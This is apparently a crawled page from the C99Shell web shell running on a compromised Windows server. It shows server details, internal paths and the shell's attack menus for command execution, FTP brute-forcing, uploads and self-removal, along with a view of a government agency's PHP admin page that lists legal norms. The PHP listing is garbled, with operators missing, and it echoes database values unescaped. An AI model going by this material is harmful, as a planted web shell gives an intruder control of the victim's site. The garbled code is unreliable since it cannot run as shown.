!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\nuevo\htdocs\BLA\boletinlegal\admin\normativa\   drwxrwxrwx
Free 8.02 GB of 239.26 GB (3.35%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     mostrar.php (4.99 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * UserEdit.php
 *
 * This page is for users to edit their account information
 * such as their password, email address, etc. Their
 * usernames can not be edited. When changing their
 * password, they must first confirm their current password.
 *
 * Written by: Jpmaster77 a.k.a. The Grandmaster of C++ (GMC)
 * Last Updated: August 26, 2004
 */
include("../usuarios/include/session.php");
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html class="noI firefox" xmlns="http://www.w3.org/1999/xhtml"><head>
<link rel="shortcut icon" href="../../images/favicon.ico">
<title>Modulo Administraci&oacute;n</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="../index_files/style.css" rel="stylesheet" type="text/css">
<link rel="StyleSheet" href="../../tabla_files/orangebrownie.css" type="text/css">

<script language="JavaScript">
function actualizaPadre(norma,id){
    //window.opener.document.bgColor = miColor
    window.opener.document.forms[0].norma.value = norma;
    window.opener.document.forms[0].id.value = id;
    self.close();
}
</script>
<script language="JavaScript">

function enviar(){
document.forms.norma.submit();
}

</script>
<!-- CSS -->
<link rel="stylesheet" href="../css/dynamic.css" type="text/css">
<link rel="stylesheet" href="../css/creation.css" type="text/css">
</head><body id="creation">
<?php
/**
 * User has submitted form without errors and user's
 * account has been edited successfully.
 */
if(isset($_SESSION['useredit'])){
   unset(
$_SESSION['useredit']);
   
   echo 
"<h1>User Account Edit Success!</h1>";
   echo 
"<p><b>$session->username</b>, tu cuenta ha sido actualizada satisfactoriamente. "
       
."<a href=\"../index.php\">Inicio</a>.</p>";
}
else{
?>
<?php
/**
 * If user is not logged in, then do not display anything.
 * If user is logged in, then display the form to edit
 * account information, with the current email address
 * already in the field.
 */
if($session->logged_in){
?>
<div id="container" class="clearfix">
<div> <img src="../index_files/header.png" width="780" height="228" border="0"></div>


  <TABLE width="764" border=0 style="BORDER-LEFT-COLOR: green; BORDER-BOTTOM-COLOR: green; BORDER-TOP-COLOR: green; BORDER-RIGHT-COLOR: green" align="center">
              
                              <TR>
                                 <TD>
                                 
                                 <div id='boundary'>
  
    <div id='content'>
      <div id='itsthetable'>
        <table width='100%'>
            
            <thead>
                <tr>
                    <th width='15' scope='col'>Id</th>
                    <th width='129' scope='col'>Nombre</th>
                    <th width='42' scope='col'>Sector</th>
                    <th width='349' scope='col'>Encabezado</th>
                    
                    <th width='109' scope='col'>Seleccionar</th>
                </tr>
            </thead>
                                 <?php include("../../conex.php");
    
$sql "select id,norma,ano,sector,vinculo,resuelve from normatividad order by id"

//echo "$sql";    
    //id='$id'";
    
$cursor mysql_query$sql$conexion );
    
$num_rows mysql_num_rows($cursor);
    
$change=0;

while( 
$row mysql_fetch_array$cursor ) ){
    
$id $row["id"];
    
$con $con+1;              
    
$norma $row["norma"];
    
$resuelve $row["resuelve"];                            
    
$ano $row["ano"];
    
$sector $row["sector"];
    
$forma "form"."$con";
    
    
?>                               
            
            <form name="<?php echo "form$con"?>" method="post" action="modificar.php">
                     <tbody>             
            
                                
                                <tr  <?php if ($change == 1) {echo "class='odd'";} ?>>
                    <td><input name='id' type='text' onFocus='setFocus(this.id);' onBlur='setFocus(' value='<?php echo "$id"?>' size="4"');'></td>
                    <td><input type='text' name='norma' value='<?php echo "$norma"?>' onFocus='setFocus(this.id);' onBlur='setFocus('');'></td>
                    <td><?php echo "$sector"?></td>
                    
                    <td><?php echo "$resuelve"?></td>
                    <td>
                  <script language="javascript">
document.write("<a href=\"javascript:actualizaPadre(window.document.<?php echo "$forma";?>.norma.value,window.document.<?php echo "$forma";?>.id.value)\">");
            document.write("consultar");
            document.write("</a>");

</script>
                    </td>
                </tr>
           </form>
<?php 
if ($change == 0){
$change=1;
}
else if (
$change == 1){
$change=0;
}

}

?>           
<tfoot>
                <tr>
                    <th scope='row'>Total Registros:</th>
                    <td colspan='4'><?php echo "$num_rows"?></td>
                </tr>
            </tfoot>        
        </table>
    </div>

      

    
</div>
</div>
                                 </TD>
                                 
                                </TR>
                                
                            </TBODY></TABLE>                                              </TD>
              </TR></TBODY>
  </TABLE>
</FORM>
<?php
}
}

?>
<div class="footer">
<i class="c1">·</i> 
Copyright © 2010 
<i class="c1">·</i><strong>Secretaria de Ambiente </strong><b>.</b> 
<i class="c1">·</i>Todos los derechos reservados <i class="c1">·</i></div>

</div><!--container-->


</body></html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--